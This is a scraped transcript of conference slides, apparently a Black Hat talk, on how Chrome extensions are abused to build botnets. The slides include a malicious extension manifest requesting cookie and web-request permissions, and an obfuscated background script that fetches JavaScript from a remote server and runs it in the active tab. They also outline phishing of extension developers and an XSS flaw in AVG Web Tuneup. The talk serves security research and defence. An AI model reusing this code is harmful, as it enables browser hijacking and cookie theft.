Top Banner
Abusing Chrome Extensions to Form a Bot Net Tomer Cohen
23

Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

Aug 18, 2018

Download

Documents

donhi
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

Abusing Chrome Extensions to Form a Bot Net

Tomer Cohen

Page 2: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

Login Attempts Rate

1000 RPM

9000 RPM

Page 3: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick
Page 4: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

June 2016

Page 5: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

Tag Me If You Can

Page 6: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

This Magical Bot…

Page 7: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

What Makes A Good BotGoal: Look Human

Human Context

Javascript Challenges

Richer Extension Experience Stealthier Bots

Page 8: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

Browser Extension:

The Perfect Bot

Page 9: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

{ "update_url": "https://clients2.google.com/service/update2/crx", "background": { "scripts": [ "view.js" ] }, "browser_action": { "default_icon": "viadeo.png", "default_popup": "index.html" }, "content_scripts": [ { "js": [ "jquery.js", "crack.js" ], "matches": [ "*://*.viadeo.com/*" ] } ],

What An Extension Can Do

"description": "Permet de profiter des avantages d'un compte viadeo premium", "icons": { "128": "viadeo.png", "16": "viadeo.png", "48": "viadeo.png" }, "manifest_version": 2, "name": "Viad30 Unlocker", "permissions": [ "tabs", "*://*.viadeo.com/", "storage", "webNavigation", "http://*/*", "https://*/*", "cookies", "webRequest", "webRequestBlocking" ], "version": "3.4", "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'"}

Extension Manifest

Cross-origin request ability

Background script

Snatch user cookies from

any tab

Page 10: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

chrome.tabs.onUpdated.addListener(function(gdhndztwu, ylvmbrzaez, ypujhmpyy) { var xhr_obj = juykhjkhj(); xhr_obj['onreadystatechange'] = function() { if (xhr_obj['readyState'] == 4) { chrome['tabs']['executeScript']({ code: xhr_obj['responseText'] }) } }; xhr_obj['open']('get', ‘http://appbdgjfrra.co/data.js'); xhr_obj['send'](); if (rkiyypsyn == 0) { rkiyypsyn = 1; }

Command & ControlBackground Script

Any time a tab is updated

Get new commands from the attacker’s server

And execute them on the active tab.

1

2

3

Page 11: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

Browser Extension:

The Perfect Bot

Page 12: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

Too Much Work…

Page 13: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

1. Web Developer 0.4.9 2. Chrometana 1.1.3 3. Infinity New Tab 3.12.3 4. CopyFish 2.8.5 5. Web Paint 1.2.1 6. Social Fixer 20.1.1 7. TouchVPN 8. Betternet VPN

The Oldest Trick in the Book PHISHING

Page 14: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

The Oldest Trick in the Book #2

Page 15: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

AVG Web Tuneup extension XSS

• December 2015• 9 million installations• XSS found by Google Project Zero

researcher Tavis Ormandy

Page 16: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

ATTACK PAGE

window.postMessage(tabId, url)

chrome.tabs.update(tabId, url)

chrome.runtime.sendMessage(tabId, url)

Chrome API

Listener

AVG Web Tuneup XSS - DEMO

Page 17: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

AVG Web Tuneup XSS - DEMO

ATTACK PAGE

chrome.tabs.update(tabId, url)

chrome.runtime.sendMessage(tabId, url)

Chrome API

Page 18: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick
Page 19: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

Finally: Creating Our Botnet

Page 20: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

To Sum Up• Browser extensions: GREAT BOTS • Bot infection campaigns through social networks are

happening as we speak• You can use your own malicious extension, but you can

also hack into existing extensions• Extensions can be hacked in many ways, including

Phishing and XSS

Page 21: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick

Q / A

[email protected]

Page 23: Abusing Chrome Extensions to Form a Bot Net - Black …€¦ · Abusing Chrome Extensions ... "tabs", "*://*.viadeo.com ... The Oldest Trick in the Book PHISHING. The Oldest Trick